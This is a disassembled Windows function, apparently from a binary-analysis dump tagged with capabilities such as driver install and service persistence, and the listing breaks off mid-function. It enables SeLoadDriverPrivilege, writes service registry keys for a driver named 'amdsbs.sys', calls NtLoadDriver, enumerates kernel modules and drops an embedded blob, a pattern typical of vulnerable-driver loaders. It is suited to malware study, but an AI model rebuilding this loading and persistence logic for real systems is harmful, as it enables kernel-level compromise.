Function at 0x1400076f0
Capabilities:
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x380]
sub rsp, 0x480
mov rax, qword [0x140024040]
xor rax, rsp
mov qword [rbp + 0x370], rax
xor esi, esi
mov r13d, esi
mov dword [rbp + 0x70], esi
mov eax, 0x5a4d
lea rcx, [0x1400240e0]
cmp word [0x1400240e0], ax
je 0x140007749
mov eax, esi
jmp 0x14000775d
movsxd rax, dword [0x14002411c]
add rax, rcx
cmp dword [rax], 0x4550
cmovne rax, rsi
mov qword [rsp + 0x48], rax
cmp dword [rax], 0x4550
je 0x140007780
lea rcx, str.____invalid_nt_signature_of_target_file_n
call fcn.140001260
mov eax, 0xffffffff
jmp 0x14000997b
mov ebx, dword [rax + 0x50]
mov dword [rsp + 0x58], ebx
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov r8d, 0xa
lea rdx, str.amdsbs.sys
lea rcx, [rbp - 0x50]
call fcn.140002750
mov r9d, ebx
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x200]
call fcn.140006020
nop
cmp dword [rbp + 0x248], 0
jne 0x1400077da
lea rcx, str.____failed_to_get_info_for_potential_driver._n
call fcn.140001260
jmp 0x140009968
mov qword [rbp + 0x158], rsi
mov ecx, 0x30
call fcn.140010408
mov rcx, rax
mov qword [rbp + 0x150], rax
movdqa xmm0, xmmword [0x14001fcf0]
movdqu xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [str.SeLoadDriverPrivilege]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x140012b28]
movups xmmword [rax + 0x10], xmm0
movsd xmm0, qword [0x140012b38]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x140012b40]
mov word [rcx + 0x28], ax
mov word [rcx + 0x2a], si
mov qword [rbp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x58]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000785d
mov bl, 1
jmp 0x1400078e2
mov qword [rbp + 0xc0], rsi
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 7
cmova rdx, qword [rbp + 0x150]
lea r8, [rbp + 0xc0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140007892
mov bl, 1
jmp 0x1400078e2
mov dword [rbp + 0x78], 1
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x7c], rax
mov dword [rbp + 0x84], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp + 0x78]
xor edx, edx
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400078d6
mov bl, 1
jmp 0x1400078e2
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x168]
cmp rdx, 7
jbe 0x14000792b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007926
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007926
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fcd0]
movdqu xmmword [rbp + 0x160], xmm0
mov word [rbp + 0x150], si
lea r14, [0x1400240b8]
test bl, bl
je 0x140007955
mov r15d, esi
jmp 0x140007e76
mov rdi, qword [rbp + 0x210]
lea rbx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rbx, qword [rbp + 0x200]
call fcn.14000fab0
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rdi
lea r8, [rbp + 0x90]
mov edx, eax
lea rcx, [rbp + 0x188]
call fcn.1400042e0
mov dword [rbp + 0x70], 3
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], r14
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x188]
lea rcx, [rsp + 0x60]
call fcn.140004e30
mov dword [rbp + 0x70], 7
cmp dword [rbp + 0x130], 0
jne 0x1400099c3
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rax, qword [rsp + 0x60]
mov qword [rbp + 0x90], rax
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x98], rax
call fcn.14000fab0
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x90]
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.14000ac50
mov dword [rbp + 0x70], 0x3f
lea r8, [rbp - 0x70]
lea rcx, [rbp - 0x30]
call fcn.14000afa0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0xa0]
call fcn.140002750
nop
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0xa0]
call fcn.14000a7b0
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
lea r8, [rbp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140007af3
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140007aec
inc rdx
mov rcx, qword [rbp + 0xa0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140007ae7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007c10
call fcn.140010400
mov bl, 1
jmp 0x140007c21
mov byte [rbp + 0x69], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x69]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140007aab
mov byte [rbp + 0x6a], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x6a]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140007aab
mov byte [rbp + 0x6b], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x6b]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140007aab
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140007ba1
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140007aab
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140007c1c
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007c17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
test ebx, ebx
setne bl
movdqa xmm0, xmmword [0x14001fce0]
mov byte [rbp + 0xa0], 0
movdqu xmmword [rbp + 0xb0], xmm0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140007c76
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007c71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fce0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140007cc5
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007cc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007cc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fce0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov r13d, 0x3b
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140007d21
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007d1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007d1c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fcd0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], si
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 7
jbe 0x140007d7a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007d75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007e61
call fcn.140010400
movdqa xmm0, xmmword [0x14001fcd0]
movdqu xmmword [rbp + 0x198], xmm0
mov word [rbp + 0x188], si
test bl, bl
je 0x140007d9d
mov r15d, esi
jmp 0x140007e76
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xe8]
call fcn.140002750
nop
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0xe8]
call fcn.14000a7b0
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x170]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x170]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x140007e6d
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
mov r15d, esi
test ebx, ebx
sete r15b
lea r12, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova r12, qword [rbp + 0x220]
mov rbx, rsi
mov dword [rbp + 0x50], esi
lea r9, [rbp + 0x50]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140007ef6
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x50]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x50]
mov r8d, dword [rbp + 0x50]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140007eb0
test eax, eax
js 0x140007fd9
mov edi, esi
cmp dword [rbx], esi
jbe 0x140007fd9
nop dword [rax + rax]
mov eax, edi
imul rcx, rax, 0x128
lea r14, [rbx + rcx]
movzx eax, word [r14 + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rsi
mov qword [rbp + 0x100], rsi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140007f50
lea rcx, [rbp + 0xe8]
call fcn.140002750
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rcx, qword [rbp + 0xe8]
mov rdx, r12
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400083ae
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x140007fcf
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007fca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400083fb
call fcn.140010400
inc edi
cmp edi, dword [rbx]
jb 0x140007f10
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, rsi
cmp r15d, 1
ja 0x140009942
test rdi, rdi
je 0x140009942
mov eax, dword [rbp + 0x240]
add rax, rdi
mov qword [rsp + 0x40], rax
mov r12d, 4
mov rax, qword gs:[0x58]
add r12, qword [rax]
mov eax, dword [r12]
cmp dword [0x1400296c0], eax
jle 0x1400081bb
lea rcx, [0x1400296c0]
call fcn.140010760
cmp dword [0x1400296c0], 0xffffffff
jne 0x1400081bb
mov rbx, rsi
mov dword [rbp + 0x70], esi
lea r9, [rbp + 0x70]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400080b6
nop dword [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x70]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x70]
mov r8d, dword [rbp + 0x70]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140008070
test eax, eax
js 0x14000819d
mov edi, esi
cmp dword [rbx], esi
jbe 0x14000819d
nop dword [rax + rax]
mov eax, edi
imul rcx, rax, 0x128
movzx eax, word [rbx + rcx + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x120], rsi
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140008110
lea rcx, [rbp + 0x108]
call fcn.140002750
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova rcx, qword [rbp + 0x108]
lea rdx, [0x1400129f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140008425
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x140008193
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000818e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008472
call fcn.140010400
inc edi
cmp edi, dword [rbx]
jb 0x1400080d0
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [0x1400296c0]
call fcn.1400106f4
mov eax, dword [r12]
cmp dword [0x1400296c8], eax
jle 0x1400081f4
lea rcx, [0x1400296c8]
call fcn.140010760
cmp dword [0x1400296c8], 0xffffffff
jne 0x1400081f4
call fcn.1400050e0
mov qword [0x1400296b8], rax
lea rcx, [0x1400296c8]
call fcn.1400106f4
mov eax, dword [r12]
cmp dword [0x1400296d0], eax
jle 0x14000822d
lea rcx, [0x1400296d0]
call fcn.140010760
cmp dword [0x1400296d0], 0xffffffff
jne 0x14000822d
call fcn.140005890
mov qword [0x1400296d8], rax
lea rcx, [0x1400296d0]
call fcn.1400106f4
cmp qword [0x1400296b8], 0
je 0x140009934
cmp qword [0x1400296d8], 0
je 0x140009934
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
mov qword [rbp + 0x88], rsi
mov ecx, 0x6677
call fcn.140010408
test rax, rax
je 0x14000992d
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
mov qword [rbp + 0x78], r14
lea r15, [r14 + 0x6650]
mov qword [rbp + 0x88], r15
mov r8d, 0x6650
lea rdi, [0x140012e70]
mov rdx, rdi
mov rcx, r14
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x80], r15
lea rdx, [rbp + 0x188]
call fcn.140006c10
nop
lea rcx, [rbp + 0x10]
call fcn.140004f80
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400082d9
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
call fcn.14000fab0
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x90]
mov edx, eax
lea rcx, [rbp - 0x10]
call fcn.14000ac50
or r13d, 0x1c00
lea rdx, [rbp + 0x188]
lea rcx, [rbp - 0x10]
call fcn.14000a7b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x120], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r13d, 0xd
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140008488
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008483
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdi, qword [r14 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x140008407
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008402
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008402
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
mov qword [rbp + 0xf8], rsi
mov qword [rbp + 0x100], 0xf
mov byte [rbp + 0xe8], 0
jmp 0x140007fed
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x1400081af
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008479
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008479
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
jmp 0x1400081af
call fcn.140010400
movdqa xmm0, xmmword [0x14001fce0]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x1400084dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400084d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fcd0]
movdqu xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x10], si
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x260]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova rdx, qword [rbp + 0x108]
lea rcx, [rbp + 0x260]
call fcn.1400099e0
nop
mov r8d, 0x6650
mov rdx, r14
lea rcx, [rbp + 0x260]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x268]
call fcn.14000aa50
test rax, rax
jne 0x14000856e
mov rax, qword [rbp + 0x260]
movsxd rdx, dword [rax + 4]
lea rcx, [rbp + 0x260]
add rcx, rdx
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rsp + 0x68], rsi
mov ecx, 0x30
call fcn.140010408
mov rcx, rax
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x14001fcf0]
movdqu xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [str.SeLoadDriverPrivilege]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x140012b28]
movups xmmword [rax + 0x10], xmm0
movsd xmm0, qword [0x140012b38]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x140012b40]
mov word [rcx + 0x28], ax
mov word [rcx + 0x2a], si
mov qword [rbp + 0x60], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x60]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400085eb
mov bl, 1
jmp 0x140008673
mov qword [rbp + 0x1f8], rsi
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rdx, qword [rsp + 0x60]
lea r8, [rbp + 0x1f8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14000861a
mov bl, 1
jmp 0x140008673
mov dword [rbp + 0x90], 1
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp + 0x90]
xor edx, edx
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140008667
mov bl, 1
jmp 0x140008673
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400086b8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400086b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400086b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fcd0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], si
test bl, bl
je 0x1400086d6
xor bl, bl
jmp 0x140008bfe
mov rdi, qword [rbp + 0x118]
lea rbx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova rbx, qword [rbp + 0x108]
call fcn.14000fab0
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rdi
lea r8, [rbp + 0x130]
mov edx, eax
lea rcx, [rbp - 0x50]
call fcn.1400042e0
or r13d, 0xc000
mov dword [rbp + 0x70], r13d
mov qword [rbp + 0x130], rsi
lea rax, [0x1400240b8]
mov qword [rbp + 0x138], rax
lea r8, [rbp + 0x130]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.140004e30
bts r13d, 0x10
mov dword [rbp + 0x70], r13d
cmp dword [rbp + 0x130], 0
jne 0x1400099ab
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rax, qword [rbp - 0x70]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x138], rax
call fcn.14000fab0
movaps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x130], xmm0
lea r8, [rbp + 0x130]
mov edx, eax
lea rcx, [rbp - 0x30]
call fcn.14000ac50
or r13d, 0xe0000
mov dword [rbp + 0x70], r13d
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x30]
call fcn.14000afa0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0xc8]
call fcn.140002750
nop
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0xc8]
call fcn.14000a7b0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0x58]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14000887a
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140008873
inc rdx
mov rcx, qword [rbp + 0xc8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000886e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008997
call fcn.140010400
mov bl, 1
jmp 0x1400089a8
mov byte [rbp + 0x6b], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x6b]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008832
mov byte [rbp + 0x6a], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x6a]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008832
mov byte [rbp + 0x69], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x69]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008832
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140008928
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008832
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x1400089a3
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000899e
add rdx, 0x27
mov rcx, qword [rcx - 8]
